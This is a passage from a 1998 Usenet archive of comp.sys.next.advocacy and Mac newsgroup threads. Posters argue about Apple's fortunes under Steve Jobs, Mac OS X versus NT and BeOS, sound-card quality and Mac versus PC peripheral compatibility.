difference between MacOS X and NT boils down to UI, but I've had plenty
of warning, haven't I?
> You're right. I keep forgetting Pixar is a failure, and Microsoft
> invented the personal computer. Steve Jobs was RUNNING a high-profile
> firm when no one had even heard of Bill Gates.
I'm not even going to argue about this with you. Pixar is not a
high-profile firm. When nobody had heard of Bill Gates, Pixar was trying
to break into desktop graphics (and failing miserably) with Pixar
Typestry. Many years later Disney threw a massive contract at Pixar and
whoops! Pixar is suddenly a "high-profile firm". I don't think so, but
you're welcome to the thought, if it is pleasant.
> And given that Apple
> definitely didn't run better in his absence (over the course of time;
> obviously Apple had a few good years in the middle), I understand why
> he would want to go back and prove his original ouster was a mistake.
Every soap opera star needs a chance to redeem his character...it's
perfectly understandable.
> If you don't think Apple today is running tighter, smoother, and more
> focused than it was a year ago, there's nothing I could say on this
> point to change your mind. That leadership comes from the top. Even
> Amelio has admitted he never got the troops moving in his direction.
Please, tell me how you know that Apple is doing so well. Press
releases? Steve Job's comments?
The media in Oceania was entirely occupied with reports on how well the
war was going, how well the government was running, how many boots and
nails and razor blades were being produced today at what amazingly
higher rates than the years before, how many iMacs were being produced
24 hours a day...
Whoops, I must've jumped tracks. Back to your regularly scheduled Apple
drama...
MJP
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 14 Aug 1998 19:26:23 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6r230v$m85@shelob.afs.com>
References: <35D484A1.23078796@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> I don't know why this surprises me so much. I can't believe the
> difference between MacOS X and NT boils down to UI, but I've had plenty
> of warning, haven't I?
It surprises you that desktop operating systems are experiencing
convergence? Seems only natural to me. Still, there are reasons to
prefer one style of interaction over another, especially when there
are so many boneheaded things wrong with Windows that could have been
done right with just an ounce more care and skill.
> Please, tell me how you know that Apple is doing so well. Press
> releases? Steve Job's comments?
10-Qs (my own readings; I have a degree in economics, remember?).
Feedback from actual employees I know and trust. The fact that news
items mention "three quarters of profits" instead of "over $1 billion
of losses." Leadership inspires confidence among stakeholders, which
include shareholders, employees, and customers. Confidence leads to
six-figure pre-orders of new products. This is especially impressive
because consumers hesitate to buy $1000 items from companies that seem
ready to fold, which was killing Apple before. My own school district
stopped buying Apple gear because they were unwilling to take that risk.
> The media in Oceania was entirely occupied with reports on how well the
> war was going, how well the government was running, how many boots and
> nails and razor blades were being produced today at what amazingly
> higher rates than the years before, how many iMacs were being produced
> 24 hours a day...
Once again we have reached the point where I conclude -- like everyone
else in this group -- that you are not worth arguing with. Sorry for
wasting everyone's collective time. You're welcome to the last word;
I'm sure you'll think of something clever.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 19:24:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r22ti$bvq$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net>
In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
nospam@devnull.com (Hath) wrote:
> nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
> CD-quality sound is built in. Ever since the MAC II.
CD quality stereo sound isn't terribly impressive these days. My card allows
18- bit 48KHz full-duplex playback/record. It can hardware mix up to 16
separate streams (the Mac, I believe, can do 3). It can also do hardware
based HRTF signal processing.
> of course if you want General MIDI synth as well then you need a card,
> though quicktime emulates this 'okay', I prefer using OMS, and an external
> MIDI interface and Synthesizer myself (in part because I'm a musician and
> have the estra synth hardware to play with with the vastly superior sound
> quality to any interface card, PC OR Mac.
Not being a music pro, I count on my sound card to do MIDI synth. The quality
seems better than that offered by Quicktime. My card has 32 built-in voices
and 32 programmable voices. It can also do chorus and reverb effects in
hardware.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 19:41:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r23ta$ea2$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>
In article <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> This is the same old PCer apology and it doesn't wash. If there were a
> million peripherals for the Mac, they'd all work because the system is
> DESIGNED that way, and Mac peripherals HAVE to be designed to the Mac
> specs. Saying that PC peripherals can't be designed properly because there
> are too many of them doesn't make any sense. What does quantity have to
> do with operability and compatibility specs? You write one and the makers
> who wish to play in your market follow that spec.
George, I've giving you examples of Mac peripherals that don't work together
so your second statement is false. And what do you mean by "...Mac
peripherals HAVE to be designed to the Mac specs?" Are you saying that all
Mac peripherals correctly follow Apple's hardware and driver guidelines? Or
you implying that PC peripheral vendors don't have to follow PC specs? I
don't understand. Next it seems that you are arguing that PC specs make for
less compatibility than Mac specs. Please explain, technically instead of
attacking me personally, why this is true.
> How many times do you people have to be told that almost ALL peripheral
> hardware for Macs is made by third parties COMPETEING with one another?
> Apple makes almost no peripheral hardware these days.
This statement is also false. Apple makes keyboards and mice for every
Macintosh that it ships. They also ship Apple branded monitors with a lot of
their computers. I would guess that Apple makes more Mac peripherals than any
other vendor and maybe they make more than all other vendors pooled together.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Fri, 14 Aug 1998 14:48:02 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D49472.71D2B206@ericsson.com>
References: <35D484A1.23078796@ericsson.com> <6r230v$m85@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Gregory H. Anderson wrote:
> It surprises you that desktop operating systems are experiencing
> convergence? Seems only natural to me.
Ah, and I'm "not worth arguing with". Seems like you've got the perfect
racket going, Greg. Congrats.
> Still, there are reasons to
> prefer one style of interaction over another, especially when there
> are so many boneheaded things wrong with Windows that could have been
> done right with just an ounce more care and skill.
I doubt you actually mean this, but whatever. UI design is anything but
trivial. "Just an ounce more care and skill" means nothing.
[cut]
> My own school district
> stopped buying Apple gear because they were unwilling to take that risk.
There is little or no public information to indicate Apple is doing
better, apart from tiny profits and a massive sales campaign. All of
your indicators will be for nought if the iMac introduction is a
failure, or anything in the next 24 months (including Mac OS X of all
stripes) fails, for that matter.
> > The media in Oceania was entirely occupied with reports on how well the
> > war was going, how well the government was running, how many boots and
> > nails and razor blades were being produced today at what amazingly
> > higher rates than the years before, how many iMacs were being produced
> > 24 hours a day...
>
> Once again we have reached the point where I conclude -- like everyone
> else in this group -- that you are not worth arguing with.
Is it unfair to quote from 1984, then? Or did you just completely miss
the reference?
I suppose quoting from "The Emperor's Clothes" would have really pissed
you off.
> Sorry for
> wasting everyone's collective time. You're welcome to the last word;
> I'm sure you'll think of something clever.
We agree with you, Mike. You think you're right, Mike. Perceptive point,
Mike.
What's this about Steve Jobs? You bastard! What a fucking idiot you are!
Why do I waste my time arguing with you?
Is that clever enough? A little stage-act in two parts. Cast of one.
MJP
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-lbE8cM6mXeKT@slip-202-135-183-217.hk.hk.ibm.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <35d11510.0@news3.ibm.net> <FIiROLCWddLd-pn2-PiVGlPFJxJge@localhost> <not-1408980949290001@ip-167-031.phx.primenet.com>
MIME-Version: 1.0
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Date: 14 Aug 1998 20:00:20 GMT
Organization: IBM.NET
On Fri, 14 Aug 1998 16:49:28, not@a.valid.email.add (Michael M.
Eilers) thought aloud:
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > I'm probably a weirdo wishing to keep PowerMacs - preferably all of
> > them - in active use for many years to come. Mac OS X and its
> > offspring versions would sound like an excellent must-have
> > chemical-free upgrade(s), even on yearly basis. The new G-something
> > hardware OTOH sounds very attractive on its own right, without any
> > arrogant abandoning of still-useful PowerMacs.
>
> Mac OS X is not a must-have upgrade in any way, shape or form. It is a
> luxury, the way that adding a turbocharger to your car is a luxury. Mac OS
> 8 and 9 will run on those oldr powermacs just fine, and will be truly
> amazing in their own right.
Classic Mac OS -> Mac OS X pretty much equals Wind3.1 -> WindNT
upgrade.
Unless one only plays games, crashes and losing data is unacceptable.
Only Mac OS X is supposed to bring NT-level (actually even better)
stability to PowerMac users. If stability and "hardware-nativeness"
are to be considered "luxury"... duh.
> All you people whining about "abandonment" will shut up so fast this
> October it won't even be funny--there will be a giant sucking sound as you
> all gasp.
Aren't you _Apple_ Dedicated sometimes charming. :^)
> I just tried the latest beta of OS 8.5. I damn near saw god. If Mac OS X
> is cooler than 8.5, then Apple's going to write the best damn OS in the
> world. And make the best damn hardware to run it on.
Must've been some experience.
And Mac OS X (formerly known as Rhapsody) is supposed to be the best
damn (e.g. modern) OS. That is exactly the reason I bought a PowerMac
last year, to run Rhapsody (to be released Q1 '98) on it. Now after
renaming, delays and reversal of the stated support for the "'97
PowerMac" systems Apple's saying there will be no _modern_ OS for my
Very Fine Mac.
> > The "used market" exists for a reason. More-than-two-year-old
> > computers equipped with the right software can help low-income
> > families, students and even kids become Mac OS X / YB users. There are
> > lots of "used" computers supporting the Wintel marketplace.
>
> Yes, and those "used" computers often run "used" OSs. Is there a problem
> with that? And will all that right software somewhow magically stop
> working the very day that Mac OS X comes out? By your own logic, Mac OS X
> will greatly increase this "used" market you seem to care so much about.
Yeah. I find some logic in Apple _selling_ "must-have" (or promised)
OS upgrades to their own hardware that happens to be older than 1-2
years when the delayed OS is released.
My system came with Mac OS 8 but considering the numerous problems
with 3rd party apps I can't blame the folks who're sticking with
System 7.6 or even earlier. The Classic Mac OS is already way
over-stretched in the inside and everybody actually using their
(Power)Macs would appreciate getting modern underpinnings. 1984 was
some 14 years ago...
I can understand Mac OS 8.5 and the 8.6 bug fix, but to still keep
spending effort on developing and testing Classic Mac OS 9 (Sonata) in
late '99 when in the same timeframe the totally new, modern OS is
expected to be released is, eh, insanely insane. Drop 9 (it's not
particularly attractive digit for the Chinese anyway :-) and port the
insanely advanced Mach 3 to all PowerMacs, preferably even to NuBus
ones.
Instead of backlash Apple would see millions of Mac users who're
finally *proud* to have bought a PowerMac. The Window-fanatics would
be left speechless. Apple would've migrated their users to beyond
NT-level OS in a way that would put Mickeysoft to shame. Happy (Mac OS
X) users buy faster hardware to realize maximum benefits from the new
OS. Only with Mac OS X proliferating can the Yellow Box software -
Apple's best, perhaps only chance to become a _major_ player again -
begin to enroach the win32 market stranglehold.
What in the above scenario doesn't make sense to you? Please try to
avoid invectives if possible. If you feel the urge to shoot the
messanger, try doing it alone and offline.
Brgds,
--
taiQ
[this space is intentionally blank]
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Solaris is"Free"
Content-Type: text/plain; charset=us-ascii
Message-ID: <Exp43C.AFH@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: none
References: <35D467CB.1793C86C@ericsson.com> <6r1u30$ltb@shelob.afs.com>
<35D484A1.23078796@ericsson.com>
Mime-Version: 1.0
Date: Fri, 14 Aug 1998 20:11:35 GMT
In <35D484A1.23078796@ericsson.com> Michael Peck wrote:
> The committment you're describing, on the terms you're describing, has
> cost the next-generation Macintosh operating system most of what NeXT
> would have brought, in and of itself. I don't need to rehash; it's been
> done plenty of times. The real advances are the microkernel, the BSD
> operating system, and the Concert APIs, two of which don't come from
> NeXT and the third of which will be mostly unused for several years and
> are rapidly becoming outdated and outmoded, anyway.
YB is becoming outdated? Can you name a particular instance of this? I
know of many objects inside where other libs have _caught up_, but in general
the objects represent superb examples of design and flexibility and the
advances by others does nothing to dull this. Java will likely be 1:1 in a
couple of years, but in the meantime...
> It would have been better to buy Be, begin a redesign cycle that moved
> core APIs to Java, and shipped a working OS to developers in 12 months
> in the meantime.
You have an amazing definition of "better"!
It includes, for instance, the ability for _Be_ to ship a working OS in 12
months. From what I understand major portions of the development effort do
not work, printing and networking for instance.
It also includes getting a usable BB up on that platform (I use DR2's, it's
at best "somewhat usable"), debugging it on their platform, and shipping. In
12 months.
And it includes doing this from two groups of people, both of whom are
having problems with their own projects, let alone trying to get the two to
work together.
For this you'd get, well, nothing. You'd get Mac OS on another underlying
substrate. This one is potentially advanced, but at the same time untested.
I for one do not think it would have worked. I said so back then, I still
think so now. And while you seem more than willing to completely "write off"
any advancement or positive move Apple makes with your blinders, you are just
as willing yo ascribe miraculous powers to other companies that have dubious
track records themselves.
> > Because many of us prefer the Mac/NeXT UI to the Windows UI. I use NT4
> > and 98 all day long, and I can't wait to be rid of them.
>
> I don't know why this surprises me so much. I can't believe the
> difference between MacOS X and NT boils down to UI, but I've had plenty
> of warning, haven't I?
And stability, and speed, and Unix, and a unified object model, and better
network management, and and and.
> I'm not even going to argue about this with you. Pixar is not a
> high-profile firm.
Har! Now you're on to redefining "high profile" it seems!
> When nobody had heard of Bill Gates, Pixar was trying
> to break into desktop graphics (and failing miserably) with Pixar
> Typestry. Many years later Disney threw a massive contract at Pixar and
> whoops! Pixar is suddenly a "high-profile firm". I don't think so, but
> you're welcome to the thought, if it is pleasant.
Sigh. That means _was_ not a high profile firm. Above you say it _is_ not
a high profile firm.
> Please, tell me how you know that Apple is doing so well. Press
> releases? Steve Job's comments?
Stock price and profitability work for me.
Maury
Date: Fri, 14 Aug 1998 16:26:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1408981626220001@wil72.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com>
In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
> nospam@devnull.com (Hath) wrote:
>
> > nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
> > CD-quality sound is built in. Ever since the MAC II.
>
> CD quality stereo sound isn't terribly impressive these days. My card allows
> 18- bit 48KHz full-duplex playback/record. It can hardware mix up to 16
> separate streams (the Mac, I believe, can do 3). It can also do hardware
> based HRTF signal processing.
This isn't a flame or anything, but a real question.
Since CD quality stereo is already better quality than 99% of people can
pick up, why do you need better than CD quality sound?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.mac.misc,comp.sys.mac.portables,comp.sys.mac.programmer.codewarrior,comp.sys.mac.system,comp.sys.mac.wanted,comp.sys.next.advocacy,comp.sys.palmtops,comp.sys.palmtops.pilot
Subject: cmsg cancel <6r2a3q$6pr@news2.tds.net>
Control: cancel <6r2a3q$6pr@news2.tds.net>
Date: 14 Aug 1998 21:30:53 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6r2a3q$6pr@news2.tds.net>
Sender: AG4242@wwwest.com (Artemis Gordon)
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: Jacob Fuller <jacobf@mindspring.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 14 Aug 1998 21:20:55 GMT
Organization: MindSpring Enterprises
Message-ID: <6r29nn$3oo$1@camel0.mindspring.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
I dont know, CD's sound pretty damn good to me! Cant really imagine something
better since they sound just like real if you have speakers good enough.
> In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
> > nospam@devnull.com (Hath) wrote:
> >
> > > nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
> > > CD-quality sound is built in. Ever since the MAC II.
> >
> > CD quality stereo sound isn't terribly impressive these days. My card
> allows
> > 18- bit 48KHz full-duplex playback/record. It can hardware mix up to 16
> > separate streams (the Mac, I believe, can do 3). It can also do hardware
> > based HRTF signal processing.
>
> This isn't a flame or anything, but a real question.
>
> Since CD quality stereo is already better quality than 99% of people can
> pick up, why do you need better than CD quality sound?
>
--
-= Jacob Fuller =-
-= jacobf@mindspring.com =-
-= http://jf.simplenet.com =-
-= This message proudly posted using.. =-
-= BeInformed 0.9.4 fix III in BeOS R3.2 =-
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 17:16:34 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980814171602.22434B-100000@paule>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Joe Ragosta <joe.ragosta@dol.net>
In-Reply-To: <joe.ragosta-1408981626220001@wil72.dol.net>
So anothe double standard, in that "just good enough" when a windows
person says it is wrong, but when you say it, it is okay. I never want
just good enough, myself.
On Fri, 14 Aug 1998, Joe Ragosta wrote:
> In article <6r22ti$bvq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > In article <nospam-1408980055000001@dhack1-124.cybernex.net>,
> > nospam@devnull.com (Hath) wrote:
> >
> > > nice but you don't even HAVE to buy a 'sound card' for the mac, stereo
> > > CD-quality sound is built in. Ever since the MAC II.
> >
> > CD quality stereo sound isn't terribly impressive these days. My card allows
> > 18- bit 48KHz full-duplex playback/record. It can hardware mix up to 16
> > separate streams (the Mac, I believe, can do 3). It can also do hardware
> > based HRTF signal processing.
>
> This isn't a flame or anything, but a real question.
>
> Since CD quality stereo is already better quality than 99% of people can
> pick up, why do you need better than CD quality sound?
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
>
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stlair.k12.il.us
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Any surrprised left?
Date: 14 Aug 1998 22:40:45 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdc7d3$cfb5ffc0$06387880@chewy>
References: <01bdc7a1$2f2c33d0$06387880@chewy>
Hmmm... terrible spelling. I wish I could use the "I was downloading"
excuse someone else was using. :-)
Todd
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 16:04:45 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com>
In article <6r23ta$ea2$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > This is the same old PCer apology and it doesn't wash. If there were a
> > million peripherals for the Mac, they'd all work because the system is
> > DESIGNED that way, and Mac peripherals HAVE to be designed to the Mac
> > specs. Saying that PC peripherals can't be designed properly because there
> > are too many of them doesn't make any sense. What does quantity have to
> > do with operability and compatibility specs? You write one and the makers
> > who wish to play in your market follow that spec.
>
> George, I've giving you examples of Mac peripherals that don't work together
> so your second statement is false. And what do you mean by "...Mac
> peripherals HAVE to be designed to the Mac specs?" Are you saying that all
> Mac peripherals correctly follow Apple's hardware and driver guidelines? Or
> you implying that PC peripheral vendors don't have to follow PC specs?
Both. I have NEVER seen a Mac peripheral which didn't work as advertised. The
earlier poster was implying that all Mac peripherals work without all of the
falderall imposed by the PC/Windows because there aren't very many of them.
My point was that the number of different peripheral manufacturers has
nothing whatever to do with the (high) quality of Mac PNP. I can plug any ADB
device into a Mac ADB port, and it just works. The keys 'key', the mouse
pointer moves in relation to the movement of the point device. The only
exception to this might be a graphics tablet, but I think we can all agree
that's
a special case. NOW, certain features of the device MAY not work without
the device's accompanying software, such as programmable mouse buttons,
or graphics acceleration, but the devices themselves work without this. This
is unlike Windows where even a simple 2-button MS-style 2 button mouse
won't even respond without the mouse driver, or if there is some kind of a
com port conflict.
You can't have it both ways. Many of you PC apologists have been arguing that
PC peripherals vary in quality and compatibility with Windows because there
are so many of them. If they have poor compatibility, then obviously, the
makers of those peripherals either a) didn't follow MS' Windows guidlines, or
b) MS' Windows guidlines aren't strict enough to INSURE 100% compatibility
and connectivity with every device sold into that market. Its that simple.
Obviously, each manufacturer has no control over the others, and even on the
Mac, you will find that some peripheral makers "cheat" a bit with the Mac spec,
and produce equipment which may work just fine on the average person's Mac,
but on a "power users" machine will conflict with other peripherals. Apple says
that this will never happen if you follow the guidelines published in 'Inside
Macintosh" and other programming and hardware design aids. Most companies
follow those guidelines. Those that don't get a bad reputation and eventually
either change their software or fall by the wayside. Most fix their problems.
On the PC side, these types of problems cause more problems because its not
just firmware of software at work here. Its the way that the peripherals
interface with the computer itself.
> I don't understand. Next it seems that you are arguing that PC specs make for
> less compatibility than Mac specs. Please explain, technically instead of
> attacking me personally, why this is true.
Now, when have I attacked you personally? And I just did explain it.
>
> > How many times do you people have to be told that almost ALL peripheral
> > hardware for Macs is made by third parties COMPETEING with one another?
> > Apple makes almost no peripheral hardware these days.
>
> This statement is also false. Apple makes keyboards and mice for every
> Macintosh that it ships.
Many Mac models do not come with a keyboard. It must be purchased separately.
When one does purchase a keyboard there are literally dozens at almost all
price points from which to choose. Apple's brand, is but one.
They also ship Apple branded monitors with a lot of
> their computers.
First of all, the only line of computers with which Apple ever shipped a
separate monitor was the Performa Series. They haven't made Performas
in over a year. Also, if a company ships a computer WITH keyboard, mouse,
and Monitor, then they are hardly peripherals any any more than the jack
or the built-in radio that came with your car are peripherals.
I would guess that Apple makes more Mac peripherals than any
> other vendor and maybe they make more than all other vendors pooled together.
Not any more. Apple has almost completely gotten out of that market. Apple does
NOT make OEM monitors any more, they do not make video boards, 3D accelerators,
digital cameras, scanners, modems, Ethernet boards, Video Capture boards
(although
as with monitor support, Apple does include ON-BOARD video capture for some
models.) etc. They do provide DVD suppoprt for Powerbooks in the form of after-
market PC card and DVD drive, but they don't have that for desktops, its a
third-
party market (and when Apple includes DVD support as a built-in option, they use
the same third party suppliers)
Notice: I did not say that Apple makes NO peripherals, I said Apple makes ALMOST
no peripherals any more, and that is an accurate statement. My Mac has, for
instance, only one Apple peripheral - My original LaserWriter (circa
1985). I still
have it because it works reliably and the recycled consumables are CHEAP.
My scanner is not an Apple, my 24-bit accelerated video card is not Apple. My
Modem is not Apple, my keyboard is not Apple, my mouse is third party, as are
my 19" color monitor, my speakers, my removable drives, my G3 processor
daughter
card, memory, etc.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 14 Aug 1998 16:15:56 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net>
